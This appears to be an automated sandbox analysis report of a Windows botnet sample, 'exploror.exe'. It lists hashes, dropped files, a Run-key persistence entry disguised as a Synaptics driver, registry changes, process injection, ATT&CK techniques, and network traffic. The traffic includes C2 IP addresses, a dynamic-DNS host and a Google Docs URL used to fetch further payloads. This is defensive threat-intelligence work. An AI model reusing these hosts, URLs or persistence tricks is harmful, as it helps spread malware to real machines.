chinese_generic_botnet | 70969f1d56ec1ddcae3fc50545c0a351b798226c62d870db8ae5170eeec67694

Analysis

max time kernel
95s
max time network
150s
platform
windows7_x64
resource
win7-20220414-en
submitted
07/05/2022, 04:07 UTC

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General

Target

exploror.exe
Size

1.1MB
MD5

d6df53506b123f5717463d0355336979
SHA1

7720fb4b89a4ebcef32a6d6a9a7a88c65cad2c14
SHA256

70969f1d56ec1ddcae3fc50545c0a351b798226c62d870db8ae5170eeec67694
SHA512

1bfefa221ed77ef05fc72fbc20a322cae990b2a33a9af47b9ee4d9fa1c09d5c81f6a8fd8496ed43a47ee2862e1e2bf1651b4cca2f5e9e23e491c3d4b3249ad2f

Score

10^/10

chinese_generic_botnet botnet persistence

Malware Config

Signatures

Generic Chinese Botnet
A botnet originating from China which is currently unnamed publicly.
botnet chinese_generic_botnet

Chinese Botnet Payload 1 IoCs

botnet

resource	yara_rule
behavioral1/memory/820-60-0x0000000010000000-0x0000000010018000-memory.dmp	unk_chinese_botnet

Executes dropped EXE 4 IoCs

pid	Process
820	._cache_exploror.exe
2020	Synaptics.exe
1928	Peahrfb.exe
756	Peahrfb.exe

Loads dropped DLL 4 IoCs

pid	Process
1100	exploror.exe
1100	exploror.exe
1100	exploror.exe
1100	exploror.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	exploror.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	._cache_exploror.exe
File opened (read-only)	\??\G:	._cache_exploror.exe
File opened (read-only)	\??\N:	._cache_exploror.exe
File opened (read-only)	\??\Z:	._cache_exploror.exe
File opened (read-only)	\??\B:	._cache_exploror.exe
File opened (read-only)	\??\H:	._cache_exploror.exe
File opened (read-only)	\??\S:	._cache_exploror.exe
File opened (read-only)	\??\T:	._cache_exploror.exe
File opened (read-only)	\??\W:	._cache_exploror.exe
File opened (read-only)	\??\X:	._cache_exploror.exe
File opened (read-only)	\??\E:	._cache_exploror.exe
File opened (read-only)	\??\L:	._cache_exploror.exe
File opened (read-only)	\??\P:	._cache_exploror.exe
File opened (read-only)	\??\Q:	._cache_exploror.exe
File opened (read-only)	\??\V:	._cache_exploror.exe
File opened (read-only)	\??\R:	._cache_exploror.exe
File opened (read-only)	\??\U:	._cache_exploror.exe
File opened (read-only)	\??\Y:	._cache_exploror.exe
File opened (read-only)	\??\I:	._cache_exploror.exe
File opened (read-only)	\??\J:	._cache_exploror.exe
File opened (read-only)	\??\K:	._cache_exploror.exe
File opened (read-only)	\??\M:	._cache_exploror.exe
File opened (read-only)	\??\O:	._cache_exploror.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	Peahrfb.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	Peahrfb.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft Eeuaeq\Peahrfb.exe	._cache_exploror.exe
File opened for modification	C:\Program Files (x86)\Microsoft Eeuaeq\Peahrfb.exe	._cache_exploror.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	._cache_exploror.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	._cache_exploror.exe

Modifies data under HKEY_USERS 49 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	Peahrfb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-50-bb-16-20-51\WpadDecisionTime = e07a0744c861d801	Peahrfb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-50-bb-16-20-51\WpadDetectedUrl	Peahrfb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	Peahrfb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}\WpadDecision = "0"	Peahrfb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-50-bb-16-20-51\WpadDecisionTime = 802bcc4cc861d801	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	Peahrfb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	Peahrfb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}\WpadNetworkName = "Network 3"	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}\WpadDecisionReason = "1"	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	Peahrfb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	Peahrfb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}\WpadDecisionTime = 802bcc4cc861d801	Peahrfb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Peahrfb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Peahrfb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-50-bb-16-20-51\WpadDecision = "0"	Peahrfb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}\WpadNetworkName = "Network 3"	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-50-bb-16-20-51\WpadDecisionReason = "1"	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-50-bb-16-20-51\WpadDecisionReason = "1"	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-50-bb-16-20-51\WpadDecision = "0"	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}\a2-50-bb-16-20-51	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}\WpadDecisionReason = "1"	Peahrfb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	Peahrfb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-50-bb-16-20-51\WpadDecisionTime = e07a0744c861d801	Peahrfb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	Peahrfb.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	Peahrfb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}\WpadDecisionTime = e07a0744c861d801	Peahrfb.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}\WpadDecision = "0"	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{693DE326-BD1C-4F4B-9B63-54080522E4A1}\a2-50-bb-16-20-51	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-50-bb-16-20-51	Peahrfb.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Peahrfb.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\a2-50-bb-16-20-51	Peahrfb.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
820	._cache_exploror.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 820	1100	exploror.exe	27
PID 1100 wrote to memory of 820	1100	exploror.exe	27
PID 1100 wrote to memory of 820	1100	exploror.exe	27
PID 1100 wrote to memory of 820	1100	exploror.exe	27
PID 1100 wrote to memory of 2020	1100	exploror.exe	28
PID 1100 wrote to memory of 2020	1100	exploror.exe	28
PID 1100 wrote to memory of 2020	1100	exploror.exe	28
PID 1100 wrote to memory of 2020	1100	exploror.exe	28
PID 1928 wrote to memory of 756	1928	Peahrfb.exe	34
PID 1928 wrote to memory of 756	1928	Peahrfb.exe	34
PID 1928 wrote to memory of 756	1928	Peahrfb.exe	34
PID 1928 wrote to memory of 756	1928	Peahrfb.exe	34

C:\Users\Admin\AppData\Local\Temp\exploror.exe
"C:\Users\Admin\AppData\Local\Temp\exploror.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Users\Admin\AppData\Local\Temp\._cache_exploror.exe
  "C:\Users\Admin\AppData\Local\Temp\._cache_exploror.exe"
  2⤵
  - Executes dropped EXE
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:820
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Executes dropped EXE
  PID:2020

C:\Program Files (x86)\Microsoft Eeuaeq\Peahrfb.exe
"C:\Program Files (x86)\Microsoft Eeuaeq\Peahrfb.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Program Files (x86)\Microsoft Eeuaeq\Peahrfb.exe
  "C:\Program Files (x86)\Microsoft Eeuaeq\Peahrfb.exe" Win7
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:756

Network

DNS

xred.mooo.com

Synaptics.exe

Remote address:

8.8.8.8:53

Request

xred.mooo.com

IN A

Response
DNS

freedns.afraid.org

Synaptics.exe

Remote address:

8.8.8.8:53

Request

freedns.afraid.org

IN A

Response

freedns.afraid.org

IN A

69.42.215.252
GET

http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Synaptics.exe

Remote address:

69.42.215.252:80

Request

GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1
User-Agent: MyApp
Host: freedns.afraid.org
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Sat, 07 May 2022 04:09:29 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Cache: MISS
DNS

docs.google.com

Synaptics.exe

Remote address:

8.8.8.8:53

Request

docs.google.com

IN A

Response

docs.google.com

IN A

142.250.179.206
GET

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

142.250.179.206:443

Request

GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: docs.google.com
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Sat, 07 May 2022 04:10:20 GMT
Strict-Transport-Security: max-age=31536000
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Cross-Origin-Opener-Policy: same-origin; report-to="DriveUntrustedContentHttp"
Content-Security-Policy: script-src 'report-sample' 'nonce-xETTw6BrHznP3mopl9PKGg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Report-To: {"group":"DriveUntrustedContentHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external"}]}
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-platform=*, ch-ua-platform-version=*
Server: ESF
X-XSS-Protection: 0
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Transfer-Encoding: chunked
GET

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

142.250.179.206:443

Request

GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: docs.google.com
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Sat, 07 May 2022 04:10:20 GMT
Strict-Transport-Security: max-age=31536000
Cross-Origin-Opener-Policy: same-origin; report-to="DriveUntrustedContentHttp"
Report-To: {"group":"DriveUntrustedContentHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external"}]}
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-platform=*, ch-ua-platform-version=*
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Content-Security-Policy: script-src 'report-sample' 'nonce-tYtUp+W5RBOMECplaUGSQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Server: ESF
X-XSS-Protection: 0
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Transfer-Encoding: chunked
GET

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

Synaptics.exe

Remote address:

142.250.179.206:443

Request

GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1
User-Agent: Synaptics.exe
Host: docs.google.com
Cache-Control: no-cache

Response

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Sat, 07 May 2022 04:10:20 GMT
Strict-Transport-Security: max-age=31536000
Cross-Origin-Opener-Policy: same-origin
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Content-Security-Policy: script-src 'report-sample' 'nonce-Z5NoKaccVOCTvF+gBqgc3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-platform=*, ch-ua-platform-version=*
Server: ESF
X-XSS-Protection: 0
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Transfer-Encoding: chunked

106.52.15.123:80

._cache_exploror.exe

152 B
120 B
3
3
106.52.15.123:80

._cache_exploror.exe

152 B
120 B
3
3
69.42.215.252:80

http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

http

Synaptics.exe

706 B
455 B
12
5

HTTP Request

GET http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

HTTP Response

200
106.52.15.123:80

Peahrfb.exe

152 B
120 B
3
3
106.52.15.123:80

Peahrfb.exe

152 B
120 B
3
3
106.52.15.123:80

Peahrfb.exe

152 B
120 B
3
3
47.93.60.63:80

http

._cache_exploror.exe

1.1kB
379 B
10
9
106.52.15.123:80

Peahrfb.exe

152 B
120 B
3
3
142.250.179.206:443

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

tls, http

Synaptics.exe

1.6kB
17.3kB
18
27

HTTP Request

GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

404

HTTP Request

GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

404

HTTP Request

GET https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

HTTP Response

404

8.8.8.8:53

xred.mooo.com

dns

Synaptics.exe

59 B
118 B
1
1

DNS Request

xred.mooo.com
8.8.8.8:53

freedns.afraid.org

dns

Synaptics.exe

64 B
80 B
1
1

DNS Request

freedns.afraid.org

DNS Response

69.42.215.252
8.8.8.8:53

docs.google.com

dns

Synaptics.exe

61 B
77 B
1
1

DNS Request

docs.google.com

DNS Response

142.250.179.206

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files (x86)\Microsoft Eeuaeq\Peahrfb.exe

Filesize
400KB

MD5
f82f50d6a61d3d73172fcbf3ff665e89

SHA1
2e5cde938a2822a13348e55f4ad0dfa75d545fee

SHA256
afbf8e478edc3d239953a3653a5ec113363fb9406552536d6469581b52585bcd

SHA512
f5945f9c5b4cfcd29498b24ec43000e6ec2927ec264d758aeeb4325f4c5f2b1d03fb997c84b38daec82b4a1dbc9f049b932ca399ef02778072cf594b1b5044fb

Download Submit
C:\Program Files (x86)\Microsoft Eeuaeq\Peahrfb.exe

Filesize
400KB

MD5
f82f50d6a61d3d73172fcbf3ff665e89

SHA1
2e5cde938a2822a13348e55f4ad0dfa75d545fee

SHA256
afbf8e478edc3d239953a3653a5ec113363fb9406552536d6469581b52585bcd

SHA512
f5945f9c5b4cfcd29498b24ec43000e6ec2927ec264d758aeeb4325f4c5f2b1d03fb997c84b38daec82b4a1dbc9f049b932ca399ef02778072cf594b1b5044fb

Download Submit
C:\Program Files (x86)\Microsoft Eeuaeq\Peahrfb.exe

Filesize
400KB

MD5
f82f50d6a61d3d73172fcbf3ff665e89

SHA1
2e5cde938a2822a13348e55f4ad0dfa75d545fee

SHA256
afbf8e478edc3d239953a3653a5ec113363fb9406552536d6469581b52585bcd

SHA512
f5945f9c5b4cfcd29498b24ec43000e6ec2927ec264d758aeeb4325f4c5f2b1d03fb997c84b38daec82b4a1dbc9f049b932ca399ef02778072cf594b1b5044fb

Download Submit
C:\ProgramData\Synaptics\Synaptics.exe

Filesize
754KB

MD5
310a7ff41f6633132e6c2bc25e51e567

SHA1
5f687df8cc3185ed68d77d0e05502c2eb308c5c8

SHA256
d1425edf482717cb64db2a36357866045b0c6306d919296591ffc9bc45d680ab

SHA512
ee9b3114cb37e52793bccdf20a27158f5def67ed9c7d8eb772e1deaf5d5f9a0030e847dea40bb320637f29508f1be2a49c3095460a6fd3afbc3bca196f642980

Download Submit
C:\Users\Admin\AppData\Local\Temp\._cache_exploror.exe

Filesize
400KB

MD5
f82f50d6a61d3d73172fcbf3ff665e89

SHA1
2e5cde938a2822a13348e55f4ad0dfa75d545fee

SHA256
afbf8e478edc3d239953a3653a5ec113363fb9406552536d6469581b52585bcd

SHA512
f5945f9c5b4cfcd29498b24ec43000e6ec2927ec264d758aeeb4325f4c5f2b1d03fb997c84b38daec82b4a1dbc9f049b932ca399ef02778072cf594b1b5044fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\._cache_exploror.exe

Filesize
400KB

MD5
f82f50d6a61d3d73172fcbf3ff665e89

SHA1
2e5cde938a2822a13348e55f4ad0dfa75d545fee

SHA256
afbf8e478edc3d239953a3653a5ec113363fb9406552536d6469581b52585bcd

SHA512
f5945f9c5b4cfcd29498b24ec43000e6ec2927ec264d758aeeb4325f4c5f2b1d03fb997c84b38daec82b4a1dbc9f049b932ca399ef02778072cf594b1b5044fb

Download Submit
\ProgramData\Synaptics\Synaptics.exe

Filesize
754KB

MD5
310a7ff41f6633132e6c2bc25e51e567

SHA1
5f687df8cc3185ed68d77d0e05502c2eb308c5c8

SHA256
d1425edf482717cb64db2a36357866045b0c6306d919296591ffc9bc45d680ab

SHA512
ee9b3114cb37e52793bccdf20a27158f5def67ed9c7d8eb772e1deaf5d5f9a0030e847dea40bb320637f29508f1be2a49c3095460a6fd3afbc3bca196f642980

Download Submit
\ProgramData\Synaptics\Synaptics.exe

Filesize
754KB

MD5
310a7ff41f6633132e6c2bc25e51e567

SHA1
5f687df8cc3185ed68d77d0e05502c2eb308c5c8

SHA256
d1425edf482717cb64db2a36357866045b0c6306d919296591ffc9bc45d680ab

SHA512
ee9b3114cb37e52793bccdf20a27158f5def67ed9c7d8eb772e1deaf5d5f9a0030e847dea40bb320637f29508f1be2a49c3095460a6fd3afbc3bca196f642980

Download Submit
\Users\Admin\AppData\Local\Temp\._cache_exploror.exe

Filesize
400KB

MD5
f82f50d6a61d3d73172fcbf3ff665e89

SHA1
2e5cde938a2822a13348e55f4ad0dfa75d545fee

SHA256
afbf8e478edc3d239953a3653a5ec113363fb9406552536d6469581b52585bcd

SHA512
f5945f9c5b4cfcd29498b24ec43000e6ec2927ec264d758aeeb4325f4c5f2b1d03fb997c84b38daec82b4a1dbc9f049b932ca399ef02778072cf594b1b5044fb

Download Submit
\Users\Admin\AppData\Local\Temp\._cache_exploror.exe

Filesize
400KB

MD5
f82f50d6a61d3d73172fcbf3ff665e89

SHA1
2e5cde938a2822a13348e55f4ad0dfa75d545fee

SHA256
afbf8e478edc3d239953a3653a5ec113363fb9406552536d6469581b52585bcd

SHA512
f5945f9c5b4cfcd29498b24ec43000e6ec2927ec264d758aeeb4325f4c5f2b1d03fb997c84b38daec82b4a1dbc9f049b932ca399ef02778072cf594b1b5044fb

Download Submit
memory/820-60-0x0000000010000000-0x0000000010018000-memory.dmp

Filesize
96KB

Download
memory/1100-54-0x0000000074B51000-0x0000000074B53000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

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